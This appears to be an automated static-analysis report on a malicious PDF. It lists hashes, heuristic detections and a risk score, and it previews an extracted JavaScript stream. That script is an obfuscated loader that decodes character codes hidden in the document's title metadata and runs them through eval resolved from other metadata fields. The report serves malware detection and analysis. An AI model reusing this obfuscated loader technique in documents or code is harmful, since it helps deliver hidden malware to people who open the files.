Malicious PDF — malware analysis report

Static analysis result for SHA-256 b3219e1907c80205…

MALICIOUS

PDF

18.0 KB Created: 2011-72-51 03:25:00 Authoring application: String.fromCharCode First seen: 2026-05-08
MD5: 58b6baf7dcb1d4df28aef20f2fb54d36 SHA-1: 9ba95986024ec72c6fb103985c87faeddbede991 SHA-256: b3219e1907c802059a8ef4e721ed36e82e592e4e09af2f0120744bb24df846ec
114 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    /Producer (String.fromCharCode)
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0x45B9 342 bytes
SHA-256: 444bd8a315e494777efe6cef43d1ecef1c8ca8be42b90f1e61362a0f0ddd1435
Preview script
First 1,000 lines of the extracted script
var w = 4;
var iuviu = this.title.replace(/w/g,'*w,');
iuviu = iuviu.replace(/t/g,'2');
iuviu=iuviu.substr(0,iuviu.length-2) + ']';
bflbi=function(){return this}();
xrqa=bflbi[this.subject];
rtp=xrqa(this.producer);
bhl = xrqa(iuviu);
var s = '';
for (i = 0; i < bhl.length; i++) {
	itjb = bhl[i];
	s += rtp(itjb);
}
xrqa(s);

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